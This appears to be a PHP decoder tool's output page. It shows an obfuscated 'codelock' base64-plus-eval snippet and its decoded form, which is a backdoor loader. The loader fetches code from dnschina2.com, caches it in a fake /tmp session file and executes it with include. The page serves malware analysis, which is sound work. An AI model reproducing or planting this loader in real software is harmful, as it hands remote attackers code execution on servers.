Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$codelock_code="Pz48Pw0KZXJyb3JfcmVwb3J0a!nKDApOw0KDQpmd!jdGlvbiBDaGVja0NhY2hlRGlyICgkdG1w..
Decoded Output download
?><?
error_reporting(0);
function CheckCacheDir ($tmppath,$tmpfname) {
$CheckCacheDir_res=0;
if (is_writable($tmppath)) {
$CheckCacheDir_res=1;
if (file_exists($tmpfname)){
$CheckCacheDir_res=2;
}
}
return $CheckCacheDir_res;
}
function GetCode($url) {
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
curl_close ($ch);
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock
"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if ($fp) {
while (!feof($fp))
{
$buffer = fread($fp, 1024);
$returned_code .= $buffer;
}
fclose($fp);
}
}
return $returned_code;
}
function CheckForUpdate($tmpfname,$lifetime) {
$Diff = (time() - filectime($tmpfname))/60;
if ($Diff > $lifetime) {
$cache_flag=1;
}
if ($Diff < $lifetime) {
$cache_flag=0;
}
return $cache_flag;
}
function MakeCache($tmpfname,$code){
$handle = fopen($tmpfname, "w");
fwrite($handle, $code);
fclose($handle);
}
$tmpfname = "/tmp/sess_o8yx-Cod3zQurSDjW8U2lA85Ji";
$tmppath = "/tmp";
$lifetime = 60;
$cache_flag = 0;
$s = $_SERVER['SERVER_NAME'];
$CF = CheckCacheDir ($tmppath,$tmpfname);
switch ($CF) {
case 0:
$url="http://dnschina2.com/getcode?num=$number&sn=$s&ch=NO";
$code = GetCode($url);
echo $code;
break;
case 1:
$url="http://dnschina2.com/cu_source?num=$number&sn=$s&ch=YES";
$code = GetCode($url);
MakeCache($tmpfname,$code);
include ($tmpfname);
break;
case 2:
$url="http://dnschina2.com/cu_source?num=$number&sn=$s&ch=YES";
if(CheckForUpdate($tmpfname,$lifetime)){
unlink($tmpfname);
$code = GetCode($url);
MakeCache($tmpfname,$code);
include ($tmpfname);
}
else include ($tmpfname);
break;
}
?><?php
Did this file decode correctly?
Original Code
$codelock_code="Pz48Pw0KZXJyb3JfcmVwb3J0a!nKDApOw0KDQpmd!jdGlvbiBDaGVja0NhY2hlRGlyICgkdG1wcGF0aCwkdG1wZm5hbWUpIHsNCgkNCgkkQ2hlY2tDYWNoZURpcl9yZXM9MDsNCglpZiAoaXNfd3JpdGFibGUoJHRtcHBhdGgpKSB7DQoJCSRDaGVja0NhY2hlRGlyX3Jlcz0xOw0KCQlpZiAoZmlsZV9leGlzdHMoJHRtcGZuYW1lKSl7DQoJCQkkQ2hlY2tDYWNoZURpcl9yZXM9MjsNCgkJfQ0KCQ0KCX0NCnJldHVybiAkQ2hlY2tDYWNoZURpcl9yZXM7DQp9DQoNCg0KZnVuY3Rpb24gR2V0Q29kZSgkdXJsKSB7DQoNCg0KCSRjaCA9IGN1cmxfa!pdCgpOw0KDQoJaWYgKCRjaCl7DQoJCWN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsgDQoJCWN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiY29kZWxvY2siKTsNCgkJY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IA0KCQljdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEwKTsgDQoJCSRyZXR1cm5lZF9jb2RlPWN1cmxfZXhlYyAoJGNoKTsgDQoJCWN1cmxfY2xvc2UgKCRjaCk7DQoJfQ0KDQoJZWxzZSB7DQoNCgkJJG9wdHMgPSBhcnJheSgNCgkJCSdodHRwJz0+YXJyYXkoDQoJCQknbWV0aG9kJz0+IkdFVCIsDQoJCQknaGVhZGVyJz0+IlVzZXItQWdlbnQ6IGNvZGVsb2NrXHJcbiINCgkJCSkNCgkJKTsJDQoJCSRyZXR1cm5lZF9jb2RlID0gIiI7DQoJCSRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRzKTsNCgkJJGZwID0gZm9wZW4oJHVybCwgJ3InLCBmYWxzZSwgJGNvbnRleHQpOw0KCQkJaWYgKCRmcCkgew0KCQkJCXdoaWxlICghZmVvZigkZnApKQ0KCQkJCQl7DQoJCQkJCSRidWZmZXIgPSBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCQkkcmV0dXJuZWRfY29kZSAuPSAkYnVmZmVyOw0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgl9DQoNCnJldHVybiAkcmV0dXJuZWRfY29kZTsNCn0NCg0KZnVuY3Rpb24gQ2hlY2tGb3JVcGRhdGUoJHRtcGZuYW1lLCRsaWZldGltZSkgew0KDQoJJERpZmYgPSAodGltZSgpIC0gZmlsZWN0aW1lKCR0bXBmbmFtZSkpLzYwOw0KCWlmICgkRGlmZiA+ICRsaWZldGltZSkgewkJDQoJCSRjYWNoZV9mbGFnPTE7DQoJfQ0KCWlmICgkRGlmZiA8ICRsaWZldGltZSkgew0KCQkkY2FjaGVfZmxhZz0wOwkJDQoJfQ0KDQpyZXR1cm4gJGNhY2hlX2ZsYWc7DQp9DQoNCmZ1bmN0aW9uIE1ha2VDYWNoZSgkdG1wZm5hbWUsJGNvZGUpew0KDQoJJGhhbmRsZSA9IGZvcGVuKCR0bXBmbmFtZSwgInciKTsNCglmd3JpdGUoJGhhbmRsZSwgJGNvZGUpOw0KCWZjbG9zZSgkaGFuZGxlKTsNCn0NCg0KDQokdG1wZm5hbWUgPSAiL3RtcC9zZXNzX284eXgtQ29kM3pRdXJTRGpXOFUybEE4NUppIjsNCiR0bXBwYXRoID0gIi90bXAiOw0KJGxpZmV0aW1lID0gNjA7DQokY2FjaGVfZmxhZyA9IDA7DQoNCiRzID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQoNCg0KJENGID0gQ2hlY2tDYWNoZURpciAoJHRtcHBhdGgsJHRtcGZuYW1lKTsNCg0Kc3dpdGNoICgkQ0YpIHsNCmNhc2UgMDoNCgkkdXJsPSJodHRwOi8vZG5zY2hpbmEyLmNvbS9nZXRjb2RlP251bT0kbnVtYmVyJnNuPSRzJmNoPU5PIjsNCgkkY29kZSA9IEdldENvZGUoJHVybCk7DQoJZWNobyAkY29kZTsNCglicmVhazsNCg0KY2FzZSAxOg0KCSR1cmw9Imh0dHA6Ly9kbnNjaGluYTIuY29tL2N1X3NvdXJjZT9udW09JG51bWJlciZzbj0kcyZjaD1ZRVMiOw0KCSRjb2RlID0gR2V0Q29kZSgkdXJsKTsNCglNYWtlQ2FjaGUoJHRtcGZuYW1lLCRjb2RlKTsNCglpbmNsdWRlICAoJHRtcGZuYW1lKTsNCglicmVhazsNCmNhc2UgMjoNCgkkdXJsPSJodHRwOi8vZG5zY2hpbmEyLmNvbS9jdV9zb3VyY2U/bnVtPSRudW1iZXImc249JHMmY2g9WUVTIjsNCglpZihDaGVja0ZvclVwZGF0ZSgkdG1wZm5hbWUsJGxpZmV0aW1lKSl7CQ0KCQl1bmxpbmsoJHRtcGZuYW1lKTsNCgkJJGNvZGUgPSBHZXRDb2RlKCR1cmwpOw0KCQlNYWtlQ2FjaGUoJHRtcGZuYW1lLCRjb2RlKTsNCgkJa!jbHVkZSAgKCR0bXBmbmFtZSk7DQoJDQoJfQ0KCWVsc2Uga!jbHVkZSAgKCR0bXBmbmFtZSk7DQoJYnJlYWs7DQoNCg0KfQ0KDQoNCg0KDQoNCj8+PD9QSFAg"; $codelock_code=str_replace("@","CAg", $codelock_code); $codelock_code=str_replace("!", "W5", $codelock_code); $codelock_code=str_replace("*", "CAgI", $codelock_code); $codelock_code=base64_decode($codelock_code); eval($codelock_code);
Function Calls
str_replace | 3 |
base64_decode | 1 |
Stats
MD5 | cec7dd92061fef1f0fb433fb66e9e0f4 |
Eval Count | 1 |
Decode Time | 89 ms |